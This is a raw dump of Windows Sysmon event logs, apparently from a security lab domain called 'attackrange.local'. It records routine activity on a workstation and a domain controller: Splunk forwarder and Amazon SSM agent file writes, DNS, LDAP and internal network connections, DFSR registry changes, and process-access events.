Files\Amazon\SSM\amazon-ssm-agent.exeC:\ProgramData\Amazon\SSM\InstanceData\i-0e4d5849e4b95ca2f\channels\health\respondent-20210910141306-039MD5=3A9A88AD6100E8BB934749ED83730993,SHA256=EA67EE5E06491F5BE852A39DD3E98E85E9195686879C0E2F42582046B4398283,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000015610Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:54:04.019{625C326B-67EE-613B-1500-00000000F101}360C:\Windows\System32\svchost.exeNT AUTHORITY\NETWORK SERVICEtcptruefalse10.0.1.15win-host-166.attackrange.local50235-false2.16.106.186a2-16-106-186.deploy.static.akamaitechnologies.com80http 354300x800000000000000015609Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:54:04.015{625C326B-67EE-613B-1500-00000000F101}360C:\Windows\System32\svchost.exeNT AUTHORITY\NETWORK SERVICEudpfalsefalse10.0.1.15win-host-166.attackrange.local52448-false10.0.1.14-53domain 354300x800000000000000015608Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:54:04.014{625C326B-67EE-613B-1500-00000000F101}360C:\Windows\System32\svchost.exeNT AUTHORITY\NETWORK SERVICEudptruetruea00:10f:0:0:58c1:43af:b80:ffff-52448-truea00:10e:0:0:0:0:0:0-53domain 23542300x800000000000000015614Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:54:06.653{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=B795CFC469D026558A21791988E88D6C,SHA256=273ED78D1B8CB5113C93985676222CF6DF68E8C9DE63ABA7B0F0366ABF3C40DB,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000047917Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:54:04.493{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsefalse10.0.1.14win-dc-387.attackrange.local53domainfalse10.0.1.15ip-10-0-1-15.eu-central-1.compute.internal62357- 13241300x800000000000000047916Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:54:06.368{7BD73061-65BF-613B-2800-00000000F001}2860C:\Windows\system32\DFSRs.exeHKLM\System\CurrentControlSet\Services\DFSR\Parameters\Volumes\9752B235-0000-0000-0000-100000000000\Volume Configuration File\\.\C:\System Volume Information\DFSR\Config\Volume_9752B235-0000-0000-0000-100000000000.XML 13241300x800000000000000047915Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:54:06.368{7BD73061-65BF-613B-2800-00000000F001}2860C:\Windows\system32\DFSRs.exeHKLM\System\CurrentControlSet\Services\DFSR\Parameters\Replication Groups\A9BEF82B-7554-4A26-9673-C40BC60290B0\Config SourceDWORD (0x00000001) 13241300x800000000000000047914Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:54:06.368{7BD73061-65BF-613B-2800-00000000F001}2860C:\Windows\system32\DFSRs.exeHKLM\System\CurrentControlSet\Services\DFSR\Parameters\Replication Groups\A9BEF82B-7554-4A26-9673-C40BC60290B0\Replica Set Configuration File\\?\C:\System Volume Information\DFSR\Config\Replica_A9BEF82B-7554-4A26-9673-C40BC60290B0.XML 23542300x800000000000000015613Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:54:06.422{625C326B-67EE-613B-1B00-00000000F101}1908NT AUTHORITY\SYSTEMC:\Program Files\Amazon\SSM\amazon-ssm-agent.exeC:\ProgramData\Amazon\SSM\InstanceData\i-0e4d5849e4b95ca2f\channels\health\surveyor-20210910141303-040MD5=97EF2A570B75C4F95FC69B0D09A2E2A2,SHA256=11396EA313B0ED7E3228C4FA92ABE9D836DB8F416A7A8A28ACC77133025082E7,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015615Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:54:07.687{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=B384E9B20A785AB861D5FFBB82B69E95,SHA256=C89119674AFC912BE2487B49ED306F96BE28A9D414DE0A8872568FB37C2E7CA5,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047920Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:54:07.445{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=CAC463B5808E24A2BE8F539846B1FB2F,SHA256=6100F36A5920F0459235CBC80665248829FD5F6D9EDE09F67E2E63AD58E243A0,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047919Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:54:07.445{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=B27EA3FE34E477FF15400A692DD6BD71,SHA256=C4DE679D7F38A688EA508BF13222CC727AC227A0B25AE6D5A2EE1C9EE2D7E977,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047918Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:54:07.008{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=9DBF23F35E94DC0FD04C82F635631BC8,SHA256=CFD5D54C1D0C48AAF6CF28C53F297A970C40AC21FB3994B5D4AD51639A7EAF55,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015617Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:54:08.703{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=6A5E73F434AF20A2463553C9154AE252,SHA256=62B45401F42B73097459B13383207B4B22BC0773F757BA4D7ACE4580C39DE093,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047928Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:54:08.008{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=ECA3A2E03488A0101EA61DF4640A314F,SHA256=83B2C42AC35EFBBBFAD8D512B421842C3B1A192EBB2B5262049B792246ED28B4,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000047927Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:54:05.698{7BD73061-65B0-613B-0B00-00000000F001}620C:\Windows\System32\lsass.exeNT AUTHORITY\SYSTEMtcpfalsetruefe80:0:0:0:54c:bd54:34e2:1fb5win-dc-387.attackrange.local59432-truefe80:0:0:0:54c:bd54:34e2:1fb5win-dc-387.attackrange.local389ldap 354300x800000000000000047926Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:54:05.698{7BD73061-65BF-613B-2800-00000000F001}2860C:\Windows\System32\dfsrs.exeNT AUTHORITY\SYSTEMtcptruetruefe80:0:0:0:54c:bd54:34e2:1fb5win-dc-387.attackrange.local59432-truefe80:0:0:0:54c:bd54:34e2:1fb5win-dc-387.attackrange.local389ldap 354300x800000000000000047925Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:54:05.684{7BD73061-65B0-613B-0B00-00000000F001}620C:\Windows\System32\lsass.exeNT AUTHORITY\SYSTEMtcpfalsetruefe80:0:0:0:54c:bd54:34e2:1fb5win-dc-387.attackrange.local59431-truefe80:0:0:0:54c:bd54:34e2:1fb5win-dc-387.attackrange.local389ldap 354300x800000000000000047924Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:54:05.684{7BD73061-65BF-613B-2800-00000000F001}2860C:\Windows\System32\dfsrs.exeNT AUTHORITY\SYSTEMtcptruetruefe80:0:0:0:54c:bd54:34e2:1fb5win-dc-387.attackrange.local59431-truefe80:0:0:0:54c:bd54:34e2:1fb5win-dc-387.attackrange.local389ldap 354300x800000000000000047923Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:54:05.663{7BD73061-65B2-613B-0D00-00000000F001}892C:\Windows\System32\svchost.exeNT AUTHORITY\NETWORK SERVICEtcpfalsetruefe80:0:0:0:54c:bd54:34e2:1fb5win-dc-387.attackrange.local59430-truefe80:0:0:0:54c:bd54:34e2:1fb5win-dc-387.attackrange.local135epmap 354300x800000000000000047922Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:54:05.663{7BD73061-65BF-613B-2800-00000000F001}2860C:\Windows\System32\dfsrs.exeNT AUTHORITY\SYSTEMtcptruetruefe80:0:0:0:54c:bd54:34e2:1fb5win-dc-387.attackrange.local59430-truefe80:0:0:0:54c:bd54:34e2:1fb5win-dc-387.attackrange.local135epmap 354300x800000000000000047921Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:54:05.442{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59429-false10.0.1.12-8000- 354300x800000000000000015616Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:54:06.541{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50236-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000015618Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:54:09.718{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=F9FA8E9D5FBB4C8A0E31FFC637AA1475,SHA256=CB6E7F30148F87340B022990F33ABCBB5FD77D11BC16388E2487BA7B24CE7A8B,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047929Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:54:09.242{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=D97EF80D1EE0BA12B9C9DD07397AC1BE,SHA256=DF37599965653EC876F2174D133C92F03953375F34812874A1392D358F583CF9,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015619Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:54:10.734{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=A9D710D9D02DDCE614CAAEF31AF9CF90,SHA256=2F86675AE490479BCAA484D68594E2381814710493E258A0CD31930A2BABCBAD,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047930Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:54:10.476{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=F307ACE654D8DE22F797D6F04DE16161,SHA256=62ACA1341B35B2C13454827053F5F5A623AC90CB8553CCCF38317575EDB60578,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015620Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:54:11.751{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=E770330E823FE3B6D142FF4DF30CAF20,SHA256=4549DA48F058394CB94A14E98A4C728D5F9E6ECCE1624D3951C128E17353D769,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047931Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:54:11.704{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=61B9FA70D54DD082563668D816280EAE,SHA256=202530BF7520F1C781783853D84781912DDC7315D8F98DF4DE36960457A82B58,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047932Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:54:12.938{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=367196045780E64734478A7A2151C878,SHA256=60EEEABB0BADED048798505C5864779A1781C191E39449BAD55A3AD7CC0DBFED,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015621Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:54:12.829{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=A5DE415E7D272DE1C1764ECB19C9B9C5,SHA256=C43E5E8CF2D92EF1F6E8DBD483B54F458435385D12EA39A4FC1C73EAEC0AEF70,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047934Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:54:13.969{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=3C3BFB4FC3A9EFC39015C294C9A853A3,SHA256=14B1BBD6E826506E7135146EA31695E940FC9484356881DA805B90DD8126656E,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015622Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:54:13.845{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=4BE2DA88F3342DAAC322A0E53FEFAD3E,SHA256=1BEA744109E81CF88AF90FED7E1D3A2F7D42FBE9214344FDF76F40A8ADD498E5,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000047933Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:54:11.466{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59433-false10.0.1.12-8000- 23542300x800000000000000015624Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:54:14.877{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=A8B45AF15B80174F9C79296592A0DE9F,SHA256=C63DF2C47CFA94D76C6DB841107A5AFE48220E101E0FD8D195935C8298FF91D8,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047935Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:54:14.985{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=61853CAB79B5AC67F2EEED84A6FA78EB,SHA256=DC167494C547262593188145857EC3BE07F8EE38DEF3B6D5E2B3A2D7334DB782,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000015623Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:54:12.481{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50237-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000015625Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:54:15.939{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=2F38FD5A3106ABC3C1E37F9CE1F0ECAB,SHA256=99341E11D86F291AC2E8C0C5895907CD7956F97EB81C1EF7A462D6F0F0695D33,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015626Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:54:16.986{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=2A2296232D8846D493B5C94F90F9D41A,SHA256=2C83B9DF3173CC7CB162DF2E9969802489BFE32C02E5A816E46B315A0F74B4D4,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047936Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:54:16.000{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=FBD63FCEA44951237C9DC86B6033191A,SHA256=804903CCE5BE13435D889BBB17C74BE68261F095CFA539C23DE2480561D71AAE,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000047946Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:54:17.610{7BD73061-7199-613B-2D0B-00000000F001}63767092C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+6025c5|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+6020f6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+59e67|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+5b88c|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+8e7d70|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047945Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:54:17.391{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-7199-613B-2D0B-00000000F001}6376C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047944Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:54:17.391{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047943Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:54:17.391{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047942Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:54:17.391{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047941Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:54:17.391{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047940Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:54:17.391{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-7199-613B-2D0B-00000000F001}6376C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000047939Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:54:17.391{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-7199-613B-2D0B-00000000F001}6376C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000047938Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:54:17.392{7BD73061-7199-613B-2D0B-00000000F001}6376C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe8.0.2Active Directory monitorsplunk ApplicationSplunk Inc.splunk-admon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"C:\Windows\system32\NT 